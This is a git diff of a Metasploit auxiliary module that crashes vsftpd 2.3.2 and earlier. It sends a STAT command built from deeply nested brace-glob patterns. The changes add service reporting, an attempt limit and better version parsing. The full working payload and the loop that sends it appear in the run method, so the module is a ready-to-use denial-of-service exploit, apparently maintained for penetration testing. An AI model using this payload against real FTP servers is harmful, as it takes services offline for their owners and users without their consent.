diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index 0615f7c5c85a5..1812104fddde4 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -6,15 +6,17 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos + include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, - 'Name' => 'VSFTPD 2.3.2 Denial of Service', - 'Description' => %q{ + 'Name' => 'VSFTPD 2.3.2 and Earlier STAT Denial of Service', + 'Description' => %q{ This module triggers a Denial of Service condition in the VSFTPD server in - versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2. + versions before 2.3.3 (tested on 2.3.0, 2.3.1, and 2.3.2). + Version 2.3.3 and higher should not be vulnerable. }, 'Author' => [ 'Nick Cottrell (Rad10Logic) ', # Module Creator @@ -36,22 +38,37 @@ def initialize(info = {}) } ) ) + + register_options([ + OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25]) + ]) end def check # attempt to connect begin if !connect_login - print_error('Connection refused.') + print_error('Connection refused') return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP') end + + banner = banner.to_s.strip + vprint_status("FTP banner: #{banner.strip}") unless banner.empty? + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'ftp', + info: banner.to_s.gsub(/^\d{3}[\s-]/, '').strip.gsub(/\A\(|\)\z/, '') + ) rescue Rex::ConnectionRefused - print_error('Connection refused.') + print_error('Connection refused') return Exploit::CheckCode::Unknown('Connection refused by the target') rescue Rex::ConnectionTimeout print_error('Connection timed out') return Exploit::CheckCode::Unknown('Connection timed out') end + s = '' loop do # get each line until our desired line shows or end line shows @@ -61,29 +78,38 @@ def check disconnect # check if version was found if s !~ /vsFTPd \d+\.\d+\.\d+/ - print_error('Did not find FTP version in FTP session.') + print_error('Did not find FTP version in FTP session') return Exploit::CheckCode::Unknown('Could not determine vsFTPd version') end # pull out version and check if its in range of vulnerability - version = s[/\d+\.\d+\.\d+/] + version = s[/vsFTPd (\d+\.\d+\.\d+)/, 1] if Rex::Version.new(version) < Rex::Version.new('2.3.3') - Exploit::CheckCode::Appears("vsFTPd #{version} is older than the patched version 2.3.3") + Exploit::CheckCode::Appears("VSFTPD #{version} is vulnerable (affected: <= 2.3.2)") else - Exploit::CheckCode::Safe("vsFTPd #{version} is not vulnerable") + Exploit::CheckCode::Safe("VSFTPD #{version} is not vulnerable (affected: <= 2.3.2)") end end def run - fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') if check != Exploit::CheckCode::Appears payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487 vprint_status("Payload being sent: #{payload}") print_status('sending payload') + attempts = 0 + max = datastore['MAX_ATTEMPTS'].to_i + loop do - print('.') + attempts += 1 + if max > 0 && attempts > max + print_error("Reached #{max} attempts without DoS") + break + end + print_status("Attempt: #{attempts}") + connect_login 10.times do send_cmd([payload.to_s], false) @@ -98,10 +124,11 @@ def run print_error('Connection reset!') rescue Rex::ConnectionRefused print("\n") - print_good('Connection refused! Appears DOS attack succeeded.') + print_good('Connection refused! Appears DoS attack succeeded') + break rescue EOFError print("\n") - print_good('Stream was cut off abruptly. Appears DOS attack succeeded.') + print_good('Stream was cut off abruptly. Appears DoS attack succeeded') break end disconnect